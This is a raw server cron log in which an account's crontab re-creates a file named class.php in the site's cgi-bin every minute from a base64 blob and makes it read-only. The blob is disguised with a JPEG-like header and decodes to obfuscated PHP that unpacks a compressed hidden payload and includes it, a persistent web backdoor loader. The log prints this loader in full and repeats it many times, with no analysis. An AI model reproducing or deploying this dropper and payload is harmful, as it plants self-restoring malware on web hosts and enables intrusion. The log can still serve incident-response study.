Nov 15 19:09:01 server CROND[14164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:10:01 server CROND[14424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:10:01 server CROND[14430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:10:01 server CROND[14431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:10:01 server CROND[14432]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 19:11:01 server CROND[14838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:12:01 server CROND[15099]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 19:12:01 server CROND[15100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:13:01 server CROND[15348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:14:01 server CROND[15616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:15:01 server CROND[15880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:15:01 server CROND[15882]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:15:01 server CROND[15883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:16:01 server CROND[16287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:17:01 server CROND[16546]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:18:01 server CROND[16797]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:19:01 server CROND[17074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:20:01 server CROND[17329]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 19:20:01 server CROND[17331]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:20:01 server CROND[17330]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 19:20:01 server CROND[17337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:20:01 server CROND[17340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:21:01 server CROND[17752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
